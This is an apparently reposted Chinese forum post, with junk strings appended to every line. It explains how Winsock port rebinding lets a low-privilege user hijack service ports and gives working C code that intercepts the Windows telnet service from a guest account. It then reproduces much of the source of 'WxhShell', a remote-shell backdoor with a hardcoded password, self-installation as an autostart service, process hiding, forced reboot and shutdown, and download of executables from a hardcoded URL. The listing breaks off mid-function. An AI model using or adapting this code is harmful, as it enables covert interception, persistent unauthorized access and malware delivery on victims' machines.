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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ? bUpK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x):k#cu[L  
76u/WC>B  
  saddr.sin_family = AF_INET; Bsih<`KF^  
S1x.pLHj8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D-2v>l_  
h1G*y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Cnc\sMDJ\B  
<?=mLOo =  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E<98ahZ?l  
tNi% }~Z  
  这意味着什么?意味着可以进行如下的攻击: \r1kbf7?  
pJ)+}vascR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]Lb?#S  
Jfixm=.6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) } K hq  
\h'E5LO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +cE tm  
CLFxq@%nu~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jmk*z(}#:  
8R??J>h5\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gn2bZ%l  
 i?i7T`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F`ZIc7(.{  
]L%R[Z!3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &[2Ej|o  
C&CsI] @g  
  #include |)72E[lL  
  #include 7gdU9c/q,  
  #include y}:)cA~o(y  
  #include    j~,LoGuPh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EZwdx  
  int main() f2w=ln  
  { #.<F5  
  WORD wVersionRequested; 5M\=+5wB  
  DWORD ret; A 4W  
  WSADATA wsaData; 9Sj:nn^/u  
  BOOL val; v ACsppa>#  
  SOCKADDR_IN saddr; Kn!0S<ssR  
  SOCKADDR_IN scaddr; z kX-"}$8  
  int err; dbq{a  
  SOCKET s; N|Cy!E=d  
  SOCKET sc; #@\NdW\  
  int caddsize; afP&+ 5t@O  
  HANDLE mt; h,WY2Hr  
  DWORD tid;   D @4&@>  
  wVersionRequested = MAKEWORD( 2, 2 ); ~b6<uRnM.  
  err = WSAStartup( wVersionRequested, &wsaData ); k vgs $  
  if ( err != 0 ) { ,w b|?>Y  
  printf("error!WSAStartup failed!\n"); fj t_9-.  
  return -1; ^]lwd"$  
  } ,b.4uJg'  
  saddr.sin_family = AF_INET; ?od}~G4s#  
   UA!Gr3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j~L1~@  
%[\Ft  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !qw=I(  
  saddr.sin_port = htons(23); ~q_+;W.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @y\{<X.F\1  
  { vo( j@+dz  
  printf("error!socket failed!\n"); ?lwQne8/  
  return -1; moJT8tb  
  } y'2kV6TtqD  
  val = TRUE; M6hvi(!X2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vb"dX0)<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /4B4IT  
  { N7I71q|  
  printf("error!setsockopt failed!\n"); 1={Tcq\]  
  return -1; 4(0t GF  
  } iZq@W3GL C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _l{ 5 'm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,I&0#+}n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 548 [! p4  
3P^gP32  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )x:j5{>(  
  { tj^:SW.0  
  ret=GetLastError(); S_ -QvG2  
  printf("error!bind failed!\n"); };|PFWs  
  return -1; 5 *pN<S  
  } ks#Z~6+3  
  listen(s,2); /jn3'q_,  
  while(1) &pY G   
  { u g:G9vjQ  
  caddsize = sizeof(scaddr); i(f;'fb*  
  //接受连接请求 6[h$r/GXh"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f~"V  
  if(sc!=INVALID_SOCKET) FvNSu"O~K1  
  { v.LUK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wAOVH].  
  if(mt==NULL) nM.?Q}yO~  
  { Nj-rZ%&  
  printf("Thread Creat Failed!\n"); c.{&~  
  break; Nb!6YY=Ez-  
  } ;7n*PBUJJ  
  } $t H.np  
  CloseHandle(mt); B?ob{K@  
  } >'TD?@sr  
  closesocket(s); 4d._Hd='  
  WSACleanup(); 6u, 0y$3  
  return 0; "QFADk1  
  }   AB &wn>q  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;{q) |GRF  
  { q>:&xR"ra  
  SOCKET ss = (SOCKET)lpParam; rD U6 5j  
  SOCKET sc; 5<?c_l9X^  
  unsigned char buf[4096]; rWfurB5f  
  SOCKADDR_IN saddr; T!xy^n]}  
  long num; 3&nc'  
  DWORD val; P"_}F  
  DWORD ret; L%O8vn^3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~W*j^+T"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &aAo:pj  
  saddr.sin_family = AF_INET; I.0P7eA-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;$L!`"jn  
  saddr.sin_port = htons(23); 7C?mD75j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ODvpMt:+  
  { zcWxyLifl0  
  printf("error!socket failed!\n"); "gikX/Co=  
  return -1; D:vUy*  
  } I nK)O ';  
  val = 100; V\`= "  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3pv1L~ ZI  
  { L8tLW09  
  ret = GetLastError(); ^RAFmM#F  
  return -1; .QQI~p0:  
  } t{s*3k/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UG'U D"  
  { /N{@g.edL  
  ret = GetLastError();  <IDzv'  
  return -1; 0:+uw` %  
  } kBT}Siw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,Y8X"~{A  
  { h5JwB<8  
  printf("error!socket connect failed!\n"); r4ttEJ-jG  
  closesocket(sc); zomNjy*  
  closesocket(ss); 'CO[s.03  
  return -1; jL%}y1m?  
  } 5_C#_=E  
  while(1) 5t#]lg[06'  
  { GXlg%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MV d 3*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :@Dos'0Px  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'I>#0VRr  
  num = recv(ss,buf,4096,0); [_hhC  
  if(num>0) `DllW{l  
  send(sc,buf,num,0); ~tuFjj^  
  else if(num==0) _";pk  _  
  break; xy3%z  
  num = recv(sc,buf,4096,0); b{>dOI*.}  
  if(num>0) 7<o;3gR7Kj  
  send(ss,buf,num,0); fO(S+}  
  else if(num==0) <slq1  
  break; Tn-]0hWkP  
  } ]]o[fqD-Zn  
  closesocket(ss); P2JRsZ.  
  closesocket(sc); j4r,_lH^r  
  return 0 ; -86:PL(I"  
  } FF!g9>  
qML*Kwg  
.%Q Ea_\  
========================================================== ,4W((OQ^  
$[CA#AXE  
下边附上一个代码,,WXhSHELL  iPO S  
y+afUJT  
========================================================== /(pChY>  
}/0dfes  
#include "stdafx.h" yZ0ZP  
~RAH -]  
#include <stdio.h> 2I 7`  
#include <string.h> u`@FA?+E1  
#include <windows.h> R0<Vd"  
#include <winsock2.h> N`6|Y  
#include <winsvc.h> ,6Q-k4_  
#include <urlmon.h> 9,eR=M]+:  
g9Gy3zk=  
#pragma comment (lib, "Ws2_32.lib") r$Qh`[<  
#pragma comment (lib, "urlmon.lib") K)\gbQ|  
m9c T}x&j  
#define MAX_USER   100 // 最大客户端连接数 r['C.S6  
#define BUF_SOCK   200 // sock buffer 6|cl`}g_j  
#define KEY_BUFF   255 // 输入 buffer t3g! 5  
i4rF~'h@  
#define REBOOT     0   // 重启 + qqN  
#define SHUTDOWN   1   // 关机 $i>VI  
M?zAkHNS$  
#define DEF_PORT   5000 // 监听端口 P$Ru NF  
a\_,_psK  
#define REG_LEN     16   // 注册表键长度 Vdk+1AX  
#define SVC_LEN     80   // NT服务名长度 3F!+c 8e  
]sAD5<;  
// 从dll定义API bI(98V,t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H5 hUY'O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z@/5~p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !r0P\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zRFM/IYC  
z5vI0 N$  
// wxhshell配置信息 as!j0j%  
struct WSCFG { pPp nO  
  int ws_port;         // 监听端口 Lta\AN!c  
  char ws_passstr[REG_LEN]; // 口令 ye2Oh7  
  int ws_autoins;       // 安装标记, 1=yes 0=no )1 j2  
  char ws_regname[REG_LEN]; // 注册表键名 M6#(F7hB  
  char ws_svcname[REG_LEN]; // 服务名 Lo9?,^S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7b2<, .E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `_^=OOn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VW`=9T5%@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AI;=k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,`@|C Z-4A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mP[u[|]  
0|;=mYa4M  
}; rNyK*Wjt  
MV \zwH  
// default Wxhshell configuration TL gVuY  
struct WSCFG wscfg={DEF_PORT, p n>`v   
    "xuhuanlingzhe", R,1,4XT  
    1, ^0-=(JrC  
    "Wxhshell", pk1M.+  
    "Wxhshell", hiHp@"l<  
            "WxhShell Service", ?='9YM  
    "Wrsky Windows CmdShell Service", G3?z.5 ,Q  
    "Please Input Your Password: ", V1A3l{>L  
  1, -#x\E%v.F  
  "http://www.wrsky.com/wxhshell.exe", .y+U7 "?s*  
  "Wxhshell.exe" ),,vu  
    }; 5-^twXC&  
+KNr1rG  
// 消息定义模块 j3&*wU_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q4q#/z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?9TogW>W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e*H$c?7NL  
char *msg_ws_ext="\n\rExit."; Din)5CxFX  
char *msg_ws_end="\n\rQuit."; >.\E'e5^C  
char *msg_ws_boot="\n\rReboot..."; PM7/fv*,  
char *msg_ws_poff="\n\rShutdown..."; BUyA]  
char *msg_ws_down="\n\rSave to "; --kK<9J7  
P\e%8&_U/  
char *msg_ws_err="\n\rErr!"; >`'9V| 1  
char *msg_ws_ok="\n\rOK!"; I#U44+c  
: 6V 8  
char ExeFile[MAX_PATH]; Q>$L;1E*,  
int nUser = 0; "g-NUl`'  
HANDLE handles[MAX_USER]; 9#!tzDOtD  
int OsIsNt; Z]BR Mx  
e_TDO   
SERVICE_STATUS       serviceStatus; =w-H )  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PK" C+o;:  
2-84  
// 函数声明 mX^RSg9E}  
int Install(void); Vk-_H)*r  
int Uninstall(void); JB<4 m4-  
int DownloadFile(char *sURL, SOCKET wsh); Ji q[VeLe  
int Boot(int flag); <!^Z|E  
void HideProc(void); ^ZG1  
int GetOsVer(void); NY x4& *le  
int Wxhshell(SOCKET wsl); t/|^Nt@XT  
void TalkWithClient(void *cs); Di*>PE@  
int CmdShell(SOCKET sock); 6-"&jbvm  
int StartFromService(void); 4NV1v&"  
int StartWxhshell(LPSTR lpCmdLine); p~IvkW>ln)  
)A%Y wI$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G>x0}c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x]Ef}g  
`2B+8,{%  
// 数据结构和表定义 ~vmY 2h\  
SERVICE_TABLE_ENTRY DispatchTable[] = ) |vFrR  
{ k W,|>  
{wscfg.ws_svcname, NTServiceMain}, v0=~PN~E  
{NULL, NULL} hM}2++V  
}; z/b*]"g,  
{NR~>=~K-  
// 自我安装 rNc>1}DDS  
int Install(void) 2lRZ/xaF%P  
{ iQF93:#  
  char svExeFile[MAX_PATH]; 9[M u   
  HKEY key; n :P}K?lg  
  strcpy(svExeFile,ExeFile); #x21e }Li  
xh0!H| R  
// 如果是win9x系统,修改注册表设为自启动 STe;Sr&p  
if(!OsIsNt) { AI2CfH#:C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *?{)i~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $`%.Y&A  
  RegCloseKey(key); RS~oSoAE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |UG)*t/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T[~X~dqwn"  
  RegCloseKey(key); ^^#A9AM  
  return 0; 2 O%UT?R  
    } 6k2~j j1d  
  } Y2Bu,/9^  
} JS9q'd  
else { zw?6E8$h  
C$8=HM3  
// 如果是NT以上系统,安装为系统服务 Sc&_6} K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S:gP\Atf>  
if (schSCManager!=0) _ 0-YsD  
{ tBrVg<]t  
  SC_HANDLE schService = CreateService F~EriO  
  ( k.%F!sK  
  schSCManager, m`Z4#_s2  
  wscfg.ws_svcname, 8Xr"4;}f+  
  wscfg.ws_svcdisp, qcqf9g  
  SERVICE_ALL_ACCESS, *h Ur E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8QU`SoS9  
  SERVICE_AUTO_START, EOL03N   
  SERVICE_ERROR_NORMAL, ~0L>l J  
  svExeFile, E%TvGe;#  
  NULL, b> | oU  
  NULL, -Db(  
  NULL, g(1'i1  
  NULL, c c:xT0Y  
  NULL ~1p f ?  
  ); Z,*VRuA  
  if (schService!=0) ; ?!sU  
  { q6q= ,<T%S  
  CloseServiceHandle(schService); 7 UR)4dYA  
  CloseServiceHandle(schSCManager); `g7' )MSy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q07>FW R  
  strcat(svExeFile,wscfg.ws_svcname); ;RXv%ML  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [yz;OoA:;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m9/a!|fBE  
  RegCloseKey(key); a.P^+h  
  return 0; H_9~gi  
    } tZJKB1#WbP  
  } 1*Z}M%  
  CloseServiceHandle(schSCManager); .$Y[>9  
} ^-DK<jZ^  
} QFMS]  
Z EW`?6  
return 1; K|iNEhuc  
} Z=#!FZ{  
"QMHY\C  
// 自我卸载 ^VA)vLj@  
int Uninstall(void) _QQO&0Z  
{ c8(.bmvF  
  HKEY key; %BL+'&q  
"YivjHa7H  
if(!OsIsNt) { K.z@Vx.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %lujme  
  RegDeleteValue(key,wscfg.ws_regname); H]cCyuCdH  
  RegCloseKey(key); ak%8|'}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q,scjt[  
  RegDeleteValue(key,wscfg.ws_regname); Q?~l=}2  
  RegCloseKey(key); ~! @a  
  return 0; #VLTx!5o  
  } 'SC`->F4D  
} FK->|  
} cng 1k  
else { h-<+Pjc  
qu?D`29  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t JJaIb6Xj  
if (schSCManager!=0) }RXm=ArN  
{ dme_Ivt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "F=O   
  if (schService!=0) _]B'C  
  { 5'X.Z:  
  if(DeleteService(schService)!=0) { ZW2U9  
  CloseServiceHandle(schService); ur;8uv2o  
  CloseServiceHandle(schSCManager); (u *-(  
  return 0; $#CkI09  
  } VQ +Xh  
  CloseServiceHandle(schService); IyMKV$"  
  } +ft?aB@  
  CloseServiceHandle(schSCManager); =h4XsV)rO  
} &",pPu q  
} OfPWqNpO  
%N2=:;f  
return 1; Hg<]5  
} }nkX-PG9  
\MnlRBUM,  
// 从指定url下载文件 ^27r-0|l^  
int DownloadFile(char *sURL, SOCKET wsh) ^hU7QxW  
{ RK|C*TCnl  
  HRESULT hr; gVO[R6C5C  
char seps[]= "/"; F;kNc:X`)  
char *token; +g(QF   
char *file; `U)~fu/\2M  
char myURL[MAX_PATH]; }yUZ(k#  
char myFILE[MAX_PATH]; b*7OIN5h  
4jvgyi 9  
strcpy(myURL,sURL); 8dP^zjPj  
  token=strtok(myURL,seps); yKi* 8N"e<  
  while(token!=NULL) ^dQ#\uy  
  { moh7:g  
    file=token; Nb-;D)W;B  
  token=strtok(NULL,seps); 1I_(!F{Ho  
  } (Ori].{C.J  
kA fkQy(~  
GetCurrentDirectory(MAX_PATH,myFILE);  IG 6yt  
strcat(myFILE, "\\"); q45Hmz  
strcat(myFILE, file); rlgp1>89  
  send(wsh,myFILE,strlen(myFILE),0); -Zkl\A$>  
send(wsh,"...",3,0); G >bQlZG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LXr nAt  
  if(hr==S_OK) JW (.,Ztm  
return 0; >osY?9  
else g$~ktr+%  
return 1; Nw8lg*t"  
=j6f/8   
} Dr&2q X!  
L'.7V ~b{  
// 系统电源模块 I6~.sTl  
int Boot(int flag) = oQ-I  
{ Y`w+?}(M  
  HANDLE hToken; 0KE+RzrB  
  TOKEN_PRIVILEGES tkp; {U>B\D  
qy"#XbBeV  
  if(OsIsNt) { TN4gGky!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W-2,QVp%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YhRES]^  
    tkp.PrivilegeCount = 1; |X0h-kX4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UO>ADRs}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m!V ?xGKJ  
if(flag==REBOOT) { d[J+):aW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xh,};TS(K  
  return 0; > T=($:n  
} vdV@G`)HPr  
else { Z  G3u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xx_]e4  
  return 0; g?qm >X  
} 1ve %xF  
  } HTA Jn_  
  else { e<#t]V  
if(flag==REBOOT) { (w}iEm\b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )[i0~o[  
  return 0; W$=Ad *  
} 8HDYA$L  
else { ( $A0b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B/6wp^#VX  
  return 0; 1^jGSB.%A  
} yHsmX2s  
} ,3=|a|p  
},lHa!<^  
return 1; 8>%:MS"  
} $hXhq*5|c  
W1fEUVj  
// win9x进程隐藏模块 @@M 2s(  
void HideProc(void) rOHU)2  
{ J'jwRn  
kr[p4X4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ux:czZqy  
  if ( hKernel != NULL ) @z[,w`  
  { ..'k+0u^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qbrY5;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CY"&@v1  
    FreeLibrary(hKernel); ssj(-\5  
  } 2iO AUo+  
lV<2+Is  
return; LQ(z~M0B  
} 9%T~^V%T7  
}coSMTMv6  
// 获取操作系统版本 ra2sYH1wr  
int GetOsVer(void) /%fBkA#n  
{ <pyLWmO  
  OSVERSIONINFO winfo; ~$cz`A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B >2"O  
  GetVersionEx(&winfo); ]zK'aod  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B)>r~v]  
  return 1; : .Y  
  else [;~:',vHQf  
  return 0; qz[qjGdHg  
} n@>h"(@i  
5P'o+Vwz  
// 客户端句柄模块 0N9`WK  
int Wxhshell(SOCKET wsl) B /q/6Pp  
{ e1ts/@V  
  SOCKET wsh; DO6Tz -%o  
  struct sockaddr_in client; !D#wSeJ  
  DWORD myID; q=Xda0c  
742 sqHx  
  while(nUser<MAX_USER) a_}k^zw(  
{ =)QtE|p,77  
  int nSize=sizeof(client); ;J [ed>v;3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /q[5-96c  
  if(wsh==INVALID_SOCKET) return 1; <j\osw1R  
max 5s$@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TNun)0p  
if(handles[nUser]==0) +pMa-{  
  closesocket(wsh); Zfwhg4G~  
else vfBIQfH  
  nUser++; T .#cd1b  
  } k_ d)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f 0"N  
LelCjC{`1  
  return 0; b~$B 0o)  
} =T7lv%u  
Qg9*mlm`  
// 关闭 socket (h&XtFul}  
void CloseIt(SOCKET wsh) q-? k=RX`  
{ ct o+W}k  
closesocket(wsh); -o: if F|  
nUser--; fyHFfPEE  
ExitThread(0); }enS'Fpf`  
} "&9L  
xbUL./uj  
// 客户端请求句柄 Jr2x`^aNO  
void TalkWithClient(void *cs) (_2Iu%F  
{ +`jI z'+  
ahJ -T@  
  SOCKET wsh=(SOCKET)cs; ^v2-"mX<  
  char pwd[SVC_LEN]; AlPk o($E*  
  char cmd[KEY_BUFF]; y&A0}>a:d  
char chr[1]; oY NIJXln  
int i,j; l  rRRRR  
g<b(q|  
  while (nUser < MAX_USER) { [-Xz:  
_Fc :<Ym?  
if(wscfg.ws_passstr) { =@ SJyW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8)KA {gN}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BIJlU(aF  
  //ZeroMemory(pwd,KEY_BUFF); 3$ 'eDa[  
      i=0; g#W/WKvM  
  while(i<SVC_LEN) { XEX ."y  
(v/mKGyg  
  // 设置超时 &Hl*Eg f  
  fd_set FdRead; yW@0Q:  
  struct timeval TimeOut; 5Yxs_t4  
  FD_ZERO(&FdRead); &PE/\_xD_  
  FD_SET(wsh,&FdRead); NI<;Lm  
  TimeOut.tv_sec=8; Nd;)V  
  TimeOut.tv_usec=0; lhk=yVG3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8?yRa{'"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WSi`KNX  
:NCY6? [Dz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s8O.yL  
  pwd=chr[0]; (Ci{fY6`  
  if(chr[0]==0xd || chr[0]==0xa) { !<EQVqj6  
  pwd=0; pwIu;:O!?  
  break; ;~^9$Z@%Q  
  } BI|BfO%F$j  
  i++; 1K&_t  
    } nuvRjd^N  
j Z6]G{  
  // 如果是非法用户,关闭 socket MJyz0.9c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {.HFB:<!}  
} - WEEnwZ  
Q`0 k=<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wO-](3A-8P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {p90   
*X%dg$VcV  
while(1) { H Z)an  
_x'?igy  
  ZeroMemory(cmd,KEY_BUFF); U@'F9UB`  
3oo Tn-`{  
      // 自动支持客户端 telnet标准   f+c<|"we  
  j=0; Le?yzf  
  while(j<KEY_BUFF) { SWq5=h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U %,K8u|WH  
  cmd[j]=chr[0]; 3Yb2p!o  
  if(chr[0]==0xa || chr[0]==0xd) { th4yuDPuA  
  cmd[j]=0; ,ve$bSp  
  break; s/+k[9l2  
  } [V2`t'  
  j++; 8T]x4JQ0  
    } pD@2Mt0|]=  
n[f<]4<  
  // 下载文件 IncHY?ud<  
  if(strstr(cmd,"http://")) { }#bX{?f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H)5V \  
  if(DownloadFile(cmd,wsh)) MJ% gF=$X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {>]7xTpwZ  
  else Qzh`x-S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;ND)h pD+  
  } w(6(Fze  
  else { )=9EShz!  
zZh\e,*  
    switch(cmd[0]) { .ou#BWav/  
  0*4h}t9j  
  // 帮助 "Vw;y+F}  
  case '?': { WU:r:m+ >  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VNggDKS~K  
    break; :enmMB#%  
  } ? CabVj-r  
  // 安装 OZCbMeB{+J  
  case 'i': { 7j//x Tr}a  
    if(Install()) -ge :y2R_w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xlp$ xp"  
    else  W]aX}>0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D,( "3zx  
    break; I5$]{:L|9  
    } FHv^^u'@  
  // 卸载 P_y8[Y]?  
  case 'r': { "4Bk  
    if(Uninstall()) \~4IOu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o)U4RY*  
    else H%&e[PU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 24; BY'   
    break; gQ8FjL6?  
    } 4r+s" |  
  // 显示 wxhshell 所在路径 I}!Er V  
  case 'p': { E4;@P']`  
    char svExeFile[MAX_PATH]; :,~]R,tJQ  
    strcpy(svExeFile,"\n\r"); 7wA.:$  
      strcat(svExeFile,ExeFile); xn BL{ []  
        send(wsh,svExeFile,strlen(svExeFile),0); O)EA2`)E  
    break; Ug~ ]!L  
    } m,1Hlp  
  // 重启 W6 y-~  
  case 'b': { 'U|Tye i?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O&vE 5%x  
    if(Boot(REBOOT)) R>#BJ^>=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^# =,+ A  
    else { V!XT=Ou?6  
    closesocket(wsh); fa:V8xa  
    ExitThread(0); ji] H|  
    } x<lY&KQ0  
    break; XqxmvN  
    } [>#@?@x`P  
  // 关机 rq]zt2  
  case 'd': { #l<un<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9irT}e  
    if(Boot(SHUTDOWN)) %j7HIxZh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVxX! V  
    else { lq[o2\  
